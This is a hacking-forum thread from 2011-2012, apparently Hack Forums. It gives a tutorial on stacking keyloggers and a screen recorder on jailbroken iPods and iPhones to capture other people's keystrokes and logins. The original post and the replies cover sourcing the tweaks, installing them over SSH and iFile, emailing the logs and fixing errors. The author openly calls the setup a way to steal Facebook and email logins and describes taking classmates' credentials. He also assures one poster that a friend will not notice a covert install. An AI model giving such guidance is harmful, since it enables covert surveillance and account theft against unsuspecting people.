Thread: [\[TUT\]the most effective way of keylogging <idevices> VIDEO INCLUDED step by step \[TUT\]](#)

Grin - August 2, 2011, 2:10 pm

THIS TUT SHOWS YOU HOW TO HAVE THE MOST COMPLETE COMBINATION OF KEYLOGGERS THAT WILL 100% WORK on the ipod and iphone!!!

<https://hackforums.net/showthread.php?tid=1550853>

was my old giveaway. WHICH MEANS NOW EVERYTHING IS FREE!!!

JAILBROKEN IPODS/IPHONES ONLY

I have made it in to a tut. Please don't flame or troll. There was a lot of work put in to this.

PLEASE MAKE SURE TO GET IFILE CRACKED FROM

INSANELYI/SINFULIHONE/BEYOURIPHONE or whatever repos you can acquire ifile for free.

YOUTUBE Clip:<http://www.youtube.com/watch?v=T79C4N0GTtY>

THE link to ikeyguard.deb is here

<http://#/?d=WQUNA2PA>

this is the direct download to the deb

if you read my last thread you would understand why this .deb direct download is here and why you don't go to big boss to install it. However for this tut you may download it from BIGBOSS repo.

You want to download this tweak on Cydia.

The logs from ikeyguard are stored at <http://:4444>.

For the next item it is just called keylogger. This is in the insanelyi repo in Cydia. It is in the video. This is free and all keystrokes are stored in var/mobile/library/wynd.

The last one of my apps I consider is very important is called screenrecorder. Again get this from insanelyi repo. This screen records everything that happens on the ipod touch. EVERYTHING. It backgrounds and I do not know exactly what firmware it supports, but I know it supports ios4.0. These files are saved in the app and in ifile. There is a description on the app as to where it is saved.

TO ACTIVATE THIS APP YOU MUST BACKGROUND WITH BACKGROUND

YOU ARE NOW DONE WITH THE COMBINATION TO STEAL PEOPLE'S FB's Emails, so on.

Please watch the video and read my last thread. [WHICH WILL BE CLOSED]

THANKS IS APPRECIATED

SORRY BTW if this format is messy, what is important is the content though.

Here is an update. I've been told that display recorder works better, but it will run side by side with screen recorder.

They are both backgrounded.

Coffee - August 3, 2011, 3:10 am

Nice guide, i think Wynds keylogger is definately the better of the two, i haven't experienced any crashes with that one

Grin - August 3, 2011, 9:42 am

(Aug 3, 2011 03:10 AM)Coffee Wrote: [\[CITE\]](#) Nice guide, i think Wynds keylogger is definately the better of the two, i haven't experienced any crashes with that one

Yes! It is indeed one of the better ones. Screen recorder helps log everything that happens for example what apps they've been on. What they do on your ipod.

Thanks for reading.

Iproy - August 4, 2011, 11:29 am

Im gonna tryout i'll write soon as im done, and if its truly works.. Dude you the genius..

Grin - August 4, 2011, 2:22 pm

Thank u for that
Message still

Deemacdee - August 4, 2011, 2:53 pm

Anyway to hide one of these in a cracked ipa?

AnthonyWasH3r3 - August 4, 2011, 4:30 pm

(Aug 4, 2011 02:53 PM)Deemacdee Wrote: [\[CITE\]](#) Anyway to hide one of these in a cracked ipa?
It's a .deb. Not an .ipa.
And I'm not sure.

Grin - August 4, 2011, 4:39 pm

No sir this an app that can only be installed into your iPod. You could create an app that steals peoples keystrokes but that would be illegal and 100% you'd go to jail.

AnthonyWasH3r3 - August 4, 2011, 6:39 pm

(Aug 4, 2011 04:39 PM)Grin Wrote: [\[CITE\]](#) No sir this an app that can only be installed into your iPod. You could create an app that steals peoples keystrokes but that would be illegal and 100% you'd go to jail.
If you get caught that is ?

Grin - August 4, 2011, 7:32 pm

There is always a chance to be caught especially designing an app to steal other peoples information

Gannicus - August 5, 2011, 2:25 pm

Wow Awesome Finally Cracked Nice Job Whomever did it

Thankzz sooo much

Grin - August 6, 2011, 10:16 am

Mewtw? - August 10, 2011, 6:13 am

Thanks, if you guys don't know how to install the .deb application, click the spoiler.

Spoiler ([Click to View](#))1) If you don't have iFile already, you are going to have to open up cydia and add either <http://repo.beyouriphone.com>
<http://sinfuliphonerepo.com> to your cydia sources list.

2) Once you have added the source, click on it and scroll down and install iFile

3) Next SSH into your device and copy your deb file(s) to /private/var/root

How To SSH: <http://www.youtube.com/watch?v=fRfTDg3K17o>

4) Once you have copied your deb files into the /private/var/root folder, open up iFile and navigate to that directory

5) Once you are in /private/var/root in iFile, you will see your deb files listed. Click on the file, and then click on installer.

6) After it has installed, respring and enjoy!

Grin - August 10, 2011, 8:48 am

Sinfuliphone is in english. Beyouriphone is in Spanish I believe.

S?arlet - August 10, 2011, 6:31 pm

awesome guide! this helped bro, thanks

Grin - August 10, 2011, 6:33 pm

Thanks for reading it. Glad it helped.

dhruv4202 - August 12, 2011, 1:08 pm

@grin::keylogger associated with wynd ihas been very usefull to me but still i am nt getting the way to install .deb of ikeylogger..

can u help me woth it..

thanx in adv!!

Grin - August 12, 2011, 1:34 pm

Go to ifile go to your downloads folder. Var/mobile/media/downloads locate the .deb click it and it will show up wioth options like install or unarchive

Press install and respring your device

Hope I helped.<_>

killermx - August 17, 2011, 5:27 pm

thank you for the post let me try this, hope all works good :)

Grin - August 17, 2011, 5:37 pm

(Aug 17, 2011 05:27 PM)killermx Wrote: [CITE](#) thank you for the post let me try this, hope all works good :)

Yeah no problem feel free to PM me if you have any problems.

darkfire223 - August 17, 2011, 7:21 pm

You are gift form god giving this tut thanks a bunch dude

Grin - August 17, 2011, 9:00 pm

Hahaha...

Thanks for reading.

You're welcome.

killermx - August 19, 2011, 2:20 pm

Ikeyguard works perfect it emails log and stuff, but is there way to email longs from other 2 app ?

because I won't have access to device afterword. and does is clean logs from device once it email ?

Also out of curiosity any way to remote access iphone when i need to? not the hack just normal app or anything ? like teamviewer u can access pc but not phone i think.

And thanks BUNCH for the post.

Grin - August 19, 2011, 4:54 pm

Remote access calls for Sshing or VNC. Depends on what you are used too.

The other ones yes. Screen Recorder can email files, they are about 4-5 mgbytes depending on the size.

The Wynd recorder just has a text file you can email.

killermx - August 19, 2011, 11:19 pm

I feel bad for bothering u again and again but log from safari is not logging this is what I get on log file

Code IKG[20.8@0:53]: 1387: Cannot open toggle file SAFARI_TOGGLE_FILE for writing!

IKG[20.8@0:53]: 1387: Cannot open toggle file SAFARI_TOGGLE_FILE for writing!

EDIT

I solve this my self, It needed download plugin in safari I had it but i re install it and it seems to be sending longs.

slimshadylover - August 27, 2011, 1:22 pm

great find(: thanks for the info/programs. what ideas does everybody have as far as how to use it though?

Slim

Grin - August 27, 2011, 1:41 pm

I let my friends use it and then get all their logins.

Usually though by friends, I mean those kids that think they're all cool and popular. They say oh I have to check my Facebook or some shit like that.

Then I let them use it for 5 minutes for a dollar or so.

They're happy to pay. Then I take their logins.

I wouldn't do this to real friends just so you know.

killermx - September 21, 2011, 10:48 pm

This may be just me but my phone is freezing lot when I install keylogger from cedia and then ikeygueed file. And also key sometimes lags. Tested and removed and try. Keyguerd it self works smooth. still better then nothing! Ty for all help.

Grin - September 21, 2011, 10:49 pm

You may want to try Wynd's keylogger. iKeygaurd works buggy at times because it has to send its logs.

iRun - October 27, 2011, 5:42 pm

Thanks grin!!! HQ thread... going to put this on my bros ipod!

Grin - October 27, 2011, 5:44 pm

I see you changed your name back....good I like it better.

Døñ - October 27, 2011, 7:32 pm

(Oct 27, 2011 05:44 PM)Grin Wrote: [\[CITE\]](#) I see you changed your name back....good I like it better. I agree lol. Cydia was just fucking up with me :P

Bot Seller-Crypting Shop™ - October 27, 2011, 8:34 pm

(Oct 27, 2011 05:44 PM)Grin Wrote: [\[CITE\]](#) I see you changed your name back....good I like it better. Yea... Saw him outside iPhone section and almost missed him if it wasnt for his sig... I like iRun a hell a long better anyway

Døn - October 27, 2011, 9:08 pm

The name Cydia is really overused in many forums

Grin - October 27, 2011, 9:15 pm

I actually like it, but iRun is just better. And I love that sig he used to have.

FeaR™ - October 27, 2011, 11:10 pm

Good tut man, now I can do this all to my friends :)

Grin - October 27, 2011, 11:20 pm

(Oct 27, 2011 11:10 PM)Xela Wrote: [\[CITE\]](#) Good tut man, now I can do this all to my friends :) Glad you like it. A while back, but I see you are a new member here for IDL. Welcome and this is basically the section we try to take great care off and not let it drown LQ. I see that you somewhat knowledgeable and I hope we will become good friends. Will add you in iMessages.

FeaR™ - October 27, 2011, 11:25 pm

Thanks man, I plan to keep hq posts. My iMessage name is on thread please add. And I've seen you around a lot. Your knowledgeable and very nice. I like that :)

Grin - October 27, 2011, 11:34 pm

(Oct 27, 2011 11:25 PM)Xela Wrote: [\[CITE\]](#) Thanks man, I plan to keep hq posts. My iMessage name is on thread please add. And I've seen you around a lot. Your knowledgeable and very nice. I like that :) Lol.

Nice applies to people who don't LQ troll around the thread and leech peoples threads.

Can't believe how many people do that....

Well peace.... And I added you obv. You know by now.

:::DDD Oh dmnit.

LINK IS DEAD WILL REUPLOAD A NEW ONE WHEN I CAN...

FOR NOW DON'T WORRY USE BIG BOSSES. WILL SEE WHAT ONE CAN DO TO TRY RO BYPASS PERMISSIONS.

Grin - December 25, 2011, 12:14 pm

Kicking this thread.

The one that got me recognition here.

Also, link is dead. Use the regular one from big boss.

My iPod was restored so I no longer has that .deb anymore.

Grin - December 29, 2011, 9:19 am

I got a PM Asking if I can view the logs. No I can't.

lewikenzie1 - December 30, 2011, 4:21 pm

Just wondering if anyone still has the .deb as id really like it

Grin - December 30, 2011, 8:45 pm

(Dec 30, 2011 05:21 PM)lewikenzie1 Wrote: [\[CITE\]](#) Just wondering if anyone still has the .deb as id really like it

Just use the BigBoss repo for it. Peace.

Grin - January 12, 2012, 5:45 pm

Did you seriously just copy and paste that post from my other thread to this one?

robife - January 12, 2012, 6:04 pm

Grin, does this only works on your iPhone/ipod NOT in the LAN? Like Sniffer?

buy the way nice tuto. thanks

Grin - January 12, 2012, 8:51 pm

No, it works everywhere anywhere. Offline. Of course if you need to send, then you need to connect to WiFi,.

Grin - January 23, 2012, 8:33 pm

Haven't done a video tutorial in a while. The next one will be up in some time

Riot008 - February 5, 2012, 10:48 pm

Very Helpful.

Thanks :)

But - My friend has and iTouch and I want to install the keylogger in that..

Do you think he'll find out?

Grin - February 6, 2012, 3:47 pm

No I doubt he'll find out. Go for it.

Grin - February 9, 2012, 5:01 pm

Here a little for those that need it.

ironcake - March 8, 2012, 12:43 am

thanks for the tutorial.

very helpful

Grin - March 8, 2012, 7:31 am

Your welcome. There's no problem. No problem at all.

Grin - March 19, 2012, 10:18 pm

Giving this the dasboot so you can view part one and two.

Mr. Awesome Guy - March 20, 2012, 1:15 pm

Wow, this is a really nice guide. Time to have some fun :D

Grin - March 20, 2012, 5:05 pm

Make sure it's legal fun. :P

Lol who am I kidding?

Grin - June 21, 2012, 7:12 pm

Nice little for those of you who wants to view dis.
